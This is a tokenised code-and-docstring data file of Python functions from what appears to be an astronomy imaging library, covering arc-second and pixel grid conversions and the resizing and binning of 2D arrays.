{"signature": "@decorator_util.jit()<EOL>def regular_grid_1d_from_shape_pixel_scales_and_origin(shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "regular_grid_1d = np.zeros((shape[<NUM_LIT:0>]*shape[<NUM_LIT:1>], <NUM_LIT:2>))<EOL>centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=shape, pixel_scales=pixel_scales, origin=origin)<EOL>i=<NUM_LIT:0><EOL>for y in range(shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(shape[<NUM_LIT:1>]):<EOL><INDENT>regular_grid_1d[i, <NUM_LIT:0>] = -(y - centres_arcsec[<NUM_LIT:0>]) * pixel_scales[<NUM_LIT:0>]<EOL>regular_grid_1d[i, <NUM_LIT:1>] = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scales[<NUM_LIT:1>]<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>return regular_grid_1d<EOL>", "docstring": "Compute the (y,x) arc second coordinates at the centre of every pixel of an array of shape (rows, columns).\n\n    Coordinates are defined from the top-left corner, such that the first pixel at location [0, 0] has negative x \\\n    and y values in arc seconds.\n\n    The regular grid is returned on an array of shape (total_pixels**2, 2) where the 2D dimension of the original 2D \\\n    array are reduced to one dimension. y coordinates are stored in the 0 index of the second dimension, x coordinates\n    in the 1 index.\n\n    Parameters\n     ----------\n    shape : (int, int)\n        The (y,x) shape of the 2D array the regular grid of coordinates is computed for.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the 2D array, which the regular grid is shifted around.\n\n    Returns\n    --------\n    ndarray\n        A regular grid of (y,x) arc-second coordinates at the centre of every pixel on a 2D array. The regular grid\n        array has dimensions (total_pixels**2, 2).\n\n    Examples\n    --------\n    regular_grid_1d = regular_grid_1d_from_shape_pixel_scales_and_origin(shape=(5,5), pixel_scales=(0.5, 0.5), \\\n                                                                      origin=(0.0, 0.0))", "id": "f5992:m2"}
{"signature": "@decorator_util.jit()<EOL>def regular_grid_1d_masked_from_mask_pixel_scales_and_origin(mask, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "grid_2d = regular_grid_2d_from_shape_pixel_scales_and_origin(mask.shape, pixel_scales, origin)<EOL>total_regular_pixels = mask_util.total_regular_pixels_from_mask(mask)<EOL>regular_grid_1d = np.zeros(shape=(total_regular_pixels, <NUM_LIT:2>))<EOL>pixel_count = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>regular_grid_1d[pixel_count, :] = grid_2d[y, x]<EOL>pixel_count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return regular_grid_1d<EOL>", "docstring": "Compute the (y,x) arc second coordinates at the centre of every pixel of a 2D mask array of shape (rows, columns).\n\n    Coordinates are defined from the top-left corner, where the first unmasked pixel corresponds to index 0. The pixel \\\n    at the top-left of the array has negative x and y values in arc seconds.\n\n    The regular grid is returned on an array of shape (total_unmasked_pixels, 2). y coordinates are stored in the 0 \\\n    index of the second dimension, x coordinates in the 1 index.\n\n    Parameters\n     ----------\n    mask : ndarray\n        A 2D array of bools, where *False* values mean unmasked and are therefore included as part of the calculated \\\n        regular grid.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the 2D mask array.\n    origin : (float, flloat)\n        The (y,x) origin of the 2D array, which the regular grid is shifted around.\n\n    Returns\n    --------\n    ndarray\n        A regular grid of (y,x) arc-second coordinates at the centre of every pixel unmasked pixel on the 2D mask \\\n        array. The regular grid array has dimensions (total_unmasked_pixels, 2).\n\n    Examples\n    --------\n    mask = np.array([[True, False, True],\n                     [False, False, False]\n                     [True, False, True]])\n    regular_grid_1d = regular_grid_1d_masked_from_mask_pixel_scales_and_origin(mask=mask, pixel_scales=(0.5, 0.5),\n                                                                            origin=(0.0, 0.0))", "id": "f5992:m3"}
{"signature": "@decorator_util.jit()<EOL>def sub_grid_1d_masked_from_mask_pixel_scales_and_sub_grid_size(mask, pixel_scales, sub_grid_size, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "total_sub_pixels = mask_util.total_sub_pixels_from_mask_and_sub_grid_size(mask, sub_grid_size)<EOL>sub_grid_1d = np.zeros(shape=(total_sub_pixels, <NUM_LIT:2>))<EOL>centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=mask.shape, pixel_scales=pixel_scales,<EOL>origin=origin)<EOL>sub_index = <NUM_LIT:0><EOL>y_sub_half = pixel_scales[<NUM_LIT:0>] / <NUM_LIT:2><EOL>y_sub_step = pixel_scales[<NUM_LIT:0>] / (sub_grid_size + <NUM_LIT:1>)<EOL>x_sub_half = pixel_scales[<NUM_LIT:1>] / <NUM_LIT:2><EOL>x_sub_step = pixel_scales[<NUM_LIT:1>] / (sub_grid_size + <NUM_LIT:1>)<EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>y_arcsec = (y - centres_arcsec[<NUM_LIT:0>]) * pixel_scales[<NUM_LIT:0>]<EOL>x_arcsec = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scales[<NUM_LIT:1>]<EOL>for y1 in range(sub_grid_size):<EOL><INDENT>for x1 in range(sub_grid_size):<EOL><INDENT>sub_grid_1d[sub_index, <NUM_LIT:0>] = -(y_arcsec - y_sub_half + (y1 + <NUM_LIT:1>) * y_sub_step)<EOL>sub_grid_1d[sub_index, <NUM_LIT:1>] = x_arcsec - x_sub_half + (x1 + <NUM_LIT:1>) * x_sub_step<EOL>sub_index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return sub_grid_1d<EOL>", "docstring": "For the sub-grid, every unmasked pixel of a 2D mask array of shape (rows, columns) is divided into a finer \\\n    uniform grid of shape (sub_grid_size, sub_grid_size). This routine computes the (y,x) arc second coordinates at \\\n    the centre of every sub-pixel defined by this grid.\n\n    Coordinates are defined from the top-left corner, where the first unmasked sub-pixel corresponds to index 0. \\\n    Sub-pixels that are part of the same mask array pixel are indexed next to one another, such that the second \\\n    sub-pixel in the first pixel has index 1, its next sub-pixel has index 2, and so forth.\n\n    The sub-grid is returned on an array of shape (total_unmasked_pixels*sub_grid_size**2, 2). y coordinates are \\\n    stored in the 0 index of the second dimension, x coordinates in the 1 index.\n\n    Parameters\n     ----------\n    mask : ndarray\n        A 2D array of bools, where *False* values mean unmasked and are therefore included as part of the calculated \\\n        regular grid.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the 2D mask array.\n    sub_grid_size : int\n        The size of the sub-grid that each pixel of the 2D mask array is divided into.\n    origin : (float, flloat)\n        The (y,x) origin of the 2D array, which the sub-grid is shifted around.\n\n    Returns\n    --------\n    ndarray\n        A sub grid of (y,x) arc-second coordinates at the centre of every pixel unmasked pixel on the 2D mask \\\n        array. The sub grid array has dimensions (total_unmasked_pixels*sub_grid_size**2, 2).\n\n    Examples\n    --------\n    mask = np.array([[True, False, True],\n                     [False, False, False]\n                     [True, False, True]])\n    sub_grid_1d = sub_grid_1d_from_mask_pixel_scales_and_origin(mask=mask, pixel_scales=(0.5, 0.5), origin=(0.0, 0.0))", "id": "f5992:m4"}
{"signature": "@decorator_util.jit()<EOL>def grid_arcsec_1d_to_grid_pixels_1d(grid_arcsec_1d, shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "grid_pixels_1d = np.zeros((grid_arcsec_1d.shape[<NUM_LIT:0>], <NUM_LIT:2>))<EOL>centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=shape, pixel_scales=pixel_scales, origin=origin)<EOL>for i in range(grid_arcsec_1d.shape[<NUM_LIT:0>]):<EOL><INDENT>grid_pixels_1d[i, <NUM_LIT:0>] = (-grid_arcsec_1d[i, <NUM_LIT:0>] / pixel_scales[<NUM_LIT:0>]) + centres_arcsec[<NUM_LIT:0>] + <NUM_LIT:0.5><EOL>grid_pixels_1d[i, <NUM_LIT:1>] = (grid_arcsec_1d[i, <NUM_LIT:1>] / pixel_scales[<NUM_LIT:1>]) + centres_arcsec[<NUM_LIT:1>] + <NUM_LIT:0.5><EOL><DEDENT>return grid_pixels_1d<EOL>", "docstring": "Convert a grid of (y,x) arc second coordinates to a grid of (y,x) pixel coordinate values. Pixel coordinates \\\n    are returned as floats such that they include the decimal offset from each pixel's top-left corner relative to \\\n    the input arc-second coordinate.\n\n    The pixel coordinate origin is at the top left corner of the grid, such that the pixel [0,0] corresponds to \\\n    the highest y arc-second coordinate and lowest x arc-second coordinate on the gird.\n\n    The arc-second grid is defined by an origin and coordinates are shifted to this origin before computing their \\\n    1D grid pixel coordinate values.\n\n    The input and output grids are both of shape (total_pixels, 2).\n\n    Parameters\n    ----------\n    grid_arcsec_1d: ndarray\n        The grid of (y,x) coordinates in arc seconds which is converted to pixel value coordinates.\n    shape : (int, int)\n        The (y,x) shape of the original 2D array the arc-second coordinates were computed on.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the original 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the grid, which the arc-second grid is shifted to.\n\n    Returns\n    --------\n    ndarray\n        A grid of (y,x) pixel-value coordinates with dimensions (total_pixels, 2).\n\n    Examples\n    --------\n    grid_arcsec_1d = np.array([[1.0, 1.0], [2.0, 2.0], [3.0, 3.0], [4.0, 4.0]])\n    grid_pixels_1d = grid_arcsec_1d_to_grid_pixels_1d(grid_arcsec_1d=grid_arcsec_1d, shape=(2,2),\n                                                           pixel_scales=(0.5, 0.5), origin=(0.0, 0.0))", "id": "f5992:m5"}
{"signature": "@decorator_util.jit()<EOL>def grid_arcsec_1d_to_grid_pixel_centres_1d(grid_arcsec_1d, shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "grid_pixels_1d = np.zeros((grid_arcsec_1d.shape[<NUM_LIT:0>], <NUM_LIT:2>))<EOL>centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=shape, pixel_scales=pixel_scales, origin=origin)<EOL>for i in range(grid_arcsec_1d.shape[<NUM_LIT:0>]):<EOL><INDENT>grid_pixels_1d[i, <NUM_LIT:0>] = int((-grid_arcsec_1d[i, <NUM_LIT:0>] / pixel_scales[<NUM_LIT:0>]) + centres_arcsec[<NUM_LIT:0>] + <NUM_LIT:0.5>)<EOL>grid_pixels_1d[i, <NUM_LIT:1>] = int((grid_arcsec_1d[i, <NUM_LIT:1>] / pixel_scales[<NUM_LIT:1>]) + centres_arcsec[<NUM_LIT:1>] + <NUM_LIT:0.5>)<EOL><DEDENT>return grid_pixels_1d<EOL>", "docstring": "Convert a grid of (y,x) arc second coordinates to a grid of (y,x) pixel values. Pixel coordinates are \\\n    returned as integers such that they map directly to the pixel they are contained within.\n\n    The pixel coordinate origin is at the top left corner of the grid, such that the pixel [0,0] corresponds to \\\n    higher y arc-second coordinate value and lowest x arc-second coordinate.\n\n    The arc-second coordinate grid is defined by the class attribute origin, and coordinates are shifted to this \\\n    origin before computing their 1D grid pixel indexes.\n\n    The input and output grids are both of shape (total_pixels, 2).\n\n    Parameters\n    ----------\n    grid_arcsec_1d: ndarray\n        The grid of (y,x) coordinates in arc seconds which is converted to pixel indexes.\n    shape : (int, int)\n        The (y,x) shape of the original 2D array the arc-second coordinates were computed on.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the original 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the grid, which the arc-second grid is shifted\n\n    Returns\n    --------\n    ndarray\n        A grid of (y,x) pixel indexes with dimensions (total_pixels, 2).\n\n    Examples\n    --------\n    grid_arcsec_1d = np.array([[1.0, 1.0], [2.0, 2.0], [3.0, 3.0], [4.0, 4.0]])\n    grid_pixels_1d = grid_arcsec_1d_to_grid_pixel_centres_1d(grid_arcsec_1d=grid_arcsec_1d, shape=(2,2),\n                                                           pixel_scales=(0.5, 0.5), origin=(0.0, 0.0))", "id": "f5992:m6"}
{"signature": "@decorator_util.jit()<EOL>def grid_arcsec_1d_to_grid_pixel_indexes_1d(grid_arcsec_1d, shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "grid_pixels_1d = grid_arcsec_1d_to_grid_pixel_centres_1d(grid_arcsec_1d=grid_arcsec_1d, shape=shape,<EOL>pixel_scales=pixel_scales, origin=origin)<EOL>grid_pixel_indexes_1d = np.zeros(grid_pixels_1d.shape[<NUM_LIT:0>])<EOL>for i in range(grid_pixels_1d.shape[<NUM_LIT:0>]):<EOL><INDENT>grid_pixel_indexes_1d[i] = int(grid_pixels_1d[i,<NUM_LIT:0>] * shape[<NUM_LIT:1>] + grid_pixels_1d[i,<NUM_LIT:1>])<EOL><DEDENT>return grid_pixel_indexes_1d<EOL>", "docstring": "Convert a grid of (y,x) arc second coordinates to a grid of (y,x) pixel 1D indexes. Pixel coordinates are \\\n    returned as integers such that they are the pixel from the top-left of the 2D grid going rights and then \\\n    downwards.\n\n    For example:\n\n    The pixel at the top-left, whose 2D index is [0,0], corresponds to 1D index 0.\n    The fifth pixel on the top row, whose 2D index is [0,5], corresponds to 1D index 4.\n    The first pixel on the second row, whose 2D index is [0,1], has 1D index 10 if a row has 10 pixels.\n\n    The arc-second coordinate grid is defined by the class attribute origin, and coordinates are shifted to this \\\n    origin before computing their 1D grid pixel indexes.\n\n    The input and output grids are both of shape (total_pixels, 2).\n\n    Parameters\n    ----------\n    grid_arcsec_1d: ndarray\n        The grid of (y,x) coordinates in arc seconds which is converted to 1D pixel indexes.\n    shape : (int, int)\n        The (y,x) shape of the original 2D array the arc-second coordinates were computed on.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the original 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the grid, which the arc-second grid is shifted.\n\n    Returns\n    --------\n    ndarray\n        A grid of 1d pixel indexes with dimensions (total_pixels, 2).\n\n    Examples\n    --------\n    grid_arcsec_1d = np.array([[1.0, 1.0], [2.0, 2.0], [3.0, 3.0], [4.0, 4.0]])\n    grid_pixels_1d = grid_arcsec_1d_to_grid_pixel_indexes_1d(grid_arcsec_1d=grid_arcsec_1d, shape=(2,2),\n                                                           pixel_scales=(0.5, 0.5), origin=(0.0, 0.0))", "id": "f5992:m7"}
{"signature": "@decorator_util.jit()<EOL>def grid_pixels_1d_to_grid_arcsec_1d(grid_pixels_1d, shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "grid_arcsec_1d = np.zeros((grid_pixels_1d.shape[<NUM_LIT:0>], <NUM_LIT:2>))<EOL>centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=shape, pixel_scales=pixel_scales, origin=origin)<EOL>for i in range(grid_arcsec_1d.shape[<NUM_LIT:0>]):<EOL><INDENT>grid_arcsec_1d[i, <NUM_LIT:0>] = -(grid_pixels_1d[i, <NUM_LIT:0>] - centres_arcsec[<NUM_LIT:0>] - <NUM_LIT:0.5>) * pixel_scales[<NUM_LIT:0>]<EOL>grid_arcsec_1d[i, <NUM_LIT:1>] = (grid_pixels_1d[i, <NUM_LIT:1>] - centres_arcsec[<NUM_LIT:1>] - <NUM_LIT:0.5>) * pixel_scales[<NUM_LIT:1>]<EOL><DEDENT>return grid_arcsec_1d<EOL>", "docstring": "Convert a grid of (y,x) pixel coordinates to a grid of (y,x) arc second values.\n\n    The pixel coordinate origin is at the top left corner of the grid, such that the pixel [0,0] corresponds to \\\n    higher y arc-second coordinate value and lowest x arc-second coordinate.\n\n    The arc-second coordinate origin is defined by the class attribute origin, and coordinates are shifted to this \\\n    origin after computing their values from the 1D grid pixel indexes.\n\n    The input and output grids are both of shape (total_pixels, 2).\n\n    Parameters\n    ----------\n    grid_pixels_1d: ndarray\n        The grid of (y,x) coordinates in pixel values which is converted to arc-second coordinates.\n    shape : (int, int)\n        The (y,x) shape of the original 2D array the arc-second coordinates were computed on.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the original 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the grid, which the arc-second grid is shifted.\n\n    Returns\n    --------\n    ndarray\n        A grid of 1d arc-second coordinates with dimensions (total_pixels, 2).\n\n    Examples\n    --------\n    grid_pixels_1d = np.array([[0,0], [0,1], [1,0], [1,1])\n    grid_pixels_1d = grid_pixels_1d_to_grid_arcsec_1d(grid_pixels_1d=grid_pixels_1d, shape=(2,2),\n                                                           pixel_scales=(0.5, 0.5), origin=(0.0, 0.0))", "id": "f5992:m8"}
{"signature": "@decorator_util.jit()<EOL>def grid_arcsec_2d_to_grid_pixel_centres_2d(grid_arcsec_2d, shape, pixel_scales, origin=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "grid_pixels_2d = np.zeros((grid_arcsec_2d.shape[<NUM_LIT:0>], grid_arcsec_2d.shape[<NUM_LIT:1>], <NUM_LIT:2>))<EOL>centres_arcsec = centres_from_shape_pixel_scales_and_origin(shape=shape, pixel_scales=pixel_scales, origin=origin)<EOL>for y in range(grid_arcsec_2d.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(grid_arcsec_2d.shape[<NUM_LIT:1>]):<EOL><INDENT>grid_pixels_2d[y, x, <NUM_LIT:0>] = int((-grid_arcsec_2d[y, x, <NUM_LIT:0>] / pixel_scales[<NUM_LIT:0>]) + centres_arcsec[<NUM_LIT:0>] + <NUM_LIT:0.5>)<EOL>grid_pixels_2d[y, x, <NUM_LIT:1>] = int((grid_arcsec_2d[y, x, <NUM_LIT:1>] / pixel_scales[<NUM_LIT:1>]) + centres_arcsec[<NUM_LIT:1>] + <NUM_LIT:0.5>)<EOL><DEDENT><DEDENT>return grid_pixels_2d<EOL>", "docstring": "Convert a grid of (y,x) arc second coordinates to a grid of (y,x) pixel values. Pixel coordinates are \\\n    returned as integers such that they map directly to the pixel they are contained within.\n\n    The pixel coordinate origin is at the top left corner of the grid, such that the pixel [0,0] corresponds to \\\n    higher y arc-second coordinate value and lowest x arc-second coordinate.\n\n    The arc-second coordinate grid is defined by the class attribute origin, and coordinates are shifted to this \\\n    origin before computing their 1D grid pixel indexes.\n\n    The input and output grids are both of shape (total_pixels, 2).\n\n    Parameters\n    ----------\n    grid_arcsec_1d: ndarray\n        The grid of (y,x) coordinates in arc seconds which is converted to pixel indexes.\n    shape : (int, int)\n        The (y,x) shape of the original 2D array the arc-second coordinates were computed on.\n    pixel_scales : (float, float)\n        The (y,x) arc-second to pixel scales of the original 2D array.\n    origin : (float, flloat)\n        The (y,x) origin of the grid, which the arc-second grid is shifted\n\n    Returns\n    --------\n    ndarray\n        A grid of (y,x) pixel indexes with dimensions (total_pixels, 2).\n\n    Examples\n    --------\n    grid_arcsec_1d = np.array([[1.0, 1.0], [2.0, 2.0], [3.0, 3.0], [4.0, 4.0]])\n    grid_pixels_1d = grid_arcsec_1d_to_grid_pixel_centres_1d(grid_arcsec_1d=grid_arcsec_1d, shape=(2,2),\n                                                           pixel_scales=(0.5, 0.5), origin=(0.0, 0.0))", "id": "f5992:m9"}
{"signature": "@decorator_util.jit()<EOL>def extracted_array_2d_from_array_2d_and_coordinates(array_2d, y0, y1, x0, x1):", "body": "new_shape = (y1-y0, x1-x0)<EOL>resized_array = np.zeros(shape=new_shape)<EOL>for y_resized, y in enumerate(range(y0, y1)):<EOL><INDENT>for x_resized, x in enumerate(range(x0, x1)):<EOL><INDENT>resized_array[y_resized, x_resized] = array_2d[y, x]<EOL><DEDENT><DEDENT>return resized_array<EOL>", "docstring": "Resize an array to a new size by extracting a sub-set of the array.\n\n    The extracted input coordinates use NumPy convention, such that the upper values should be specified as +1 the \\\n    dimensions of the extracted array.\n\n    In the example below, an array of size (5,5) is extracted using the coordinates y0=1, y1=4, x0=1, x1=4. This\n    extracts an array of dimensions (2,2) and is equivalent to array_2d[1:4, 1:4]\n\n    Parameters\n    ----------\n    array_2d : ndarray\n        The 2D array that is an array is extracted from.\n    y0 : int\n        The lower row number (e.g. the higher y-coodinate) of the array that is extracted for the resize.\n    y1 : int\n        The upper row number (e.g. the lower y-coodinate) of the array that is extracted for the resize.\n    x0 : int\n        The lower column number (e.g. the lower x-coodinate) of the array that is extracted for the resize.\n    x1 : int\n        The upper column number (e.g. the higher x-coodinate) of the array that is extracted for the resize.\n\n    Returns\n    -------\n    ndarray\n        The extracted 2D array from the input 2D array.\n\n    Examples\n    --------\n    array_2d = np.ones((5,5))\n    extracted_array = extract_array_2d(array_2d=array_2d, y0=1, y1=4, x0=1, x1=4)", "id": "f5993:m0"}
{"signature": "@decorator_util.jit()<EOL>def resized_array_2d_from_array_2d_and_resized_shape(array_2d, resized_shape, origin=(-<NUM_LIT:1>, -<NUM_LIT:1>), pad_value=<NUM_LIT:0.0>):", "body": "y_is_even = int(array_2d.shape[<NUM_LIT:0>]) % <NUM_LIT:2> == <NUM_LIT:0><EOL>x_is_even = int(array_2d.shape[<NUM_LIT:1>]) % <NUM_LIT:2> == <NUM_LIT:0><EOL>if origin is (-<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if y_is_even:<EOL><INDENT>y_centre = int(array_2d.shape[<NUM_LIT:0>] / <NUM_LIT:2>)<EOL><DEDENT>elif not y_is_even:<EOL><INDENT>y_centre = int(array_2d.shape[<NUM_LIT:0>] / <NUM_LIT:2>)<EOL><DEDENT>if x_is_even:<EOL><INDENT>x_centre = int(array_2d.shape[<NUM_LIT:1>] / <NUM_LIT:2>)<EOL><DEDENT>elif not x_is_even:<EOL><INDENT>x_centre = int(array_2d.shape[<NUM_LIT:1>] / <NUM_LIT:2>)<EOL><DEDENT>origin = (y_centre, x_centre)<EOL><DEDENT>resized_array = np.zeros(shape=resized_shape)<EOL>if y_is_even:<EOL><INDENT>y_min = origin[<NUM_LIT:0>] - int(resized_shape[<NUM_LIT:0>] / <NUM_LIT:2>)<EOL>y_max = origin[<NUM_LIT:0>] + int((resized_shape[<NUM_LIT:0>] / <NUM_LIT:2>)) + <NUM_LIT:1><EOL><DEDENT>elif not y_is_even:<EOL><INDENT>y_min = origin[<NUM_LIT:0>] - int(resized_shape[<NUM_LIT:0>] / <NUM_LIT:2>)<EOL>y_max = origin[<NUM_LIT:0>] + int((resized_shape[<NUM_LIT:0>] / <NUM_LIT:2>)) + <NUM_LIT:1><EOL><DEDENT>if x_is_even:<EOL><INDENT>x_min = origin[<NUM_LIT:1>] - int(resized_shape[<NUM_LIT:1>] / <NUM_LIT:2>)<EOL>x_max = origin[<NUM_LIT:1>] + int((resized_shape[<NUM_LIT:1>] / <NUM_LIT:2>)) + <NUM_LIT:1><EOL><DEDENT>elif not x_is_even:<EOL><INDENT>x_min = origin[<NUM_LIT:1>] - int(resized_shape[<NUM_LIT:1>] / <NUM_LIT:2>)<EOL>x_max = origin[<NUM_LIT:1>] + int((resized_shape[<NUM_LIT:1>] / <NUM_LIT:2>)) + <NUM_LIT:1><EOL><DEDENT>for y_resized, y in enumerate(range(y_min, y_max)):<EOL><INDENT>for x_resized, x in enumerate(range(x_min, x_max)):<EOL><INDENT>if y >= <NUM_LIT:0> and y < array_2d.shape[<NUM_LIT:0>] and x >= <NUM_LIT:0> and x < array_2d.shape[<NUM_LIT:1>]:<EOL><INDENT>if y_resized >= <NUM_LIT:0> and y_resized < resized_shape[<NUM_LIT:0>] and x_resized >= <NUM_LIT:0> and x_resized < resized_shape[<NUM_LIT:1>]:<EOL><INDENT>resized_array[y_resized, x_resized] = array_2d[y, x]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if y_resized >= <NUM_LIT:0> and y_resized < resized_shape[<NUM_LIT:0>] and x_resized >= <NUM_LIT:0> and x_resized < resized_shape[<NUM_LIT:1>]:<EOL><INDENT>resized_array[y_resized, x_resized] = pad_value<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return resized_array<EOL>", "docstring": "Resize an array to a new size around a central pixel.\n\n    If the origin (e.g. the central pixel) of the resized array is not specified, the central pixel of the array is \\\n    calculated automatically. For example, a (5,5) array's central pixel is (2,2). For even dimensions the central \\\n    pixel is assumed to be the lower indexed value, e.g. a (6,4) array's central pixel is calculated as (2,1).\n\n    The default origin is (-1, -1) because numba requires that the function input is the same type throughout the \\\n    function, thus a default 'None' value cannot be used.\n\n    Parameters\n    ----------\n    array_2d : ndarray\n        The 2D array that is resized.\n    resized_shape : (int, int)\n        The (y,x) new pixel dimension of the trimmed array.\n    origin : (int, int)\n        The oigin of the resized array, e.g. the central pixel around which the array is extracted.\n\n    Returns\n    -------\n    ndarray\n        The resized 2D array from the input 2D array.\n\n    Examples\n    --------\n    array_2d = np.ones((5,5))\n    resize_array = resize_array_2d(array_2d=array_2d, new_shape=(2,2), origin=(2, 2))", "id": "f5993:m1"}
{"signature": "@decorator_util.jit()<EOL>def bin_up_array_2d_using_mean(array_2d, bin_up_factor):", "body": "padded_array_2d = pad_2d_array_for_binning_up_with_bin_up_factor(array_2d=array_2d, bin_up_factor=bin_up_factor)<EOL>binned_array_2d = np.zeros(shape=(padded_array_2d.shape[<NUM_LIT:0>] // bin_up_factor,<EOL>padded_array_2d.shape[<NUM_LIT:1>] // bin_up_factor))<EOL>for y in range(binned_array_2d.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(binned_array_2d.shape[<NUM_LIT:1>]):<EOL><INDENT>value = <NUM_LIT:0.0><EOL>for y1 in range(bin_up_factor):<EOL><INDENT>for x1 in range(bin_up_factor):<EOL><INDENT>padded_y = y*bin_up_factor + y1<EOL>padded_x = x*bin_up_factor + x1<EOL>value += padded_array_2d[padded_y, padded_x]<EOL><DEDENT><DEDENT>binned_array_2d[y,x] = value / (bin_up_factor ** <NUM_LIT>)<EOL><DEDENT><DEDENT>return binned_array_2d<EOL>", "docstring": "Bin up an array to coarser resolution, by binning up groups of pixels and using their mean value to determine \\\n     the value of the new pixel.\n\n    If an array of shape (8,8) is input and the bin up size is 2, this would return a new array of size (4,4) where \\\n    every pixel was the mean of each collection of 2x2 pixels on the (8,8) array.\n\n    If binning up the array leads to an edge being cut (e.g. a (9,9) array binned up by 2), an array is first \\\n    extracted around the centre of that array.\n\n\n    Parameters\n    ----------\n    array_2d : ndarray\n        The 2D array that is resized.\n    new_shape : (int, int)\n        The (y,x) new pixel dimension of the trimmed array.\n    origin : (int, int)\n        The oigin of the resized array, e.g. the central pixel around which the array is extracted.\n\n    Returns\n    -------\n    ndarray\n        The resized 2D array from the input 2D array.\n\n    Examples\n    --------\n    array_2d = np.ones((5,5))\n    resize_array = resize_array_2d(array_2d=array_2d, new_shape=(2,2), origin=(2, 2))", "id": "f5993:m4"}
{"signature": "@decorator_util.jit()<EOL>def bin_up_array_2d_using_quadrature(array_2d, bin_up_factor):", "body": "padded_array_2d = pad_2d_array_for_binning_up_with_bin_up_factor(array_2d=array_2d, bin_up_factor=bin_up_factor)<EOL>binned_array_2d = np.zeros(shape=(padded_array_2d.shape[<NUM_LIT:0>] // bin_up_factor,<EOL>padded_array_2d.shape[<NUM_LIT:1>] // bin_up_factor))<EOL>for y in range(binned_array_2d.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(binned_array_2d.shape[<NUM_LIT:1>]):<EOL><INDENT>value = <NUM_LIT:0.0><EOL>for y1 in range(bin_up_factor):<EOL><INDENT>for x1 in range(bin_up_factor):<EOL><INDENT>padded_y = y*bin_up_factor + y1<EOL>padded_x = x*bin_up_factor + x1<EOL>value += padded_array_2d[padded_y, padded_x] ** <NUM_LIT><EOL><DEDENT><DEDENT>binned_array_2d[y,x] = np.sqrt(value) / (bin_up_factor ** <NUM_LIT>)<EOL><DEDENT><DEDENT>return binned_array_2d<EOL>", "docstring": "Bin up an array to coarser resolution, by binning up groups of pixels and using their quadrature value to determine \\\n     the value of the new pixel.\n\n    If an array of shape (8,8) is input and the bin up size is 2, this would return a new array of size (4,4) where \\\n    every pixel was the quadrature of each collection of 2x2 pixels on the (8,8) array.\n\n    If binning up the array leads to an edge being cut (e.g. a (9,9) array binned up by 2), an array is first \\\n    extracted around the centre of that array.\n\n\n    Parameters\n    ----------\n    array_2d : ndarray\n        The 2D array that is resized.\n    new_shape : (int, int)\n        The (y,x) new pixel dimension of the trimmed array.\n    origin : (int, int)\n        The oigin of the resized array, e.g. the central pixel around which the array is extracted.\n\n    Returns\n    -------\n    ndarray\n        The resized 2D array from the input 2D array.\n\n    Examples\n    --------\n    array_2d = np.ones((5,5))\n    resize_array = resize_array_2d(array_2d=array_2d, new_shape=(2,2), origin=(2, 2))", "id": "f5993:m5"}
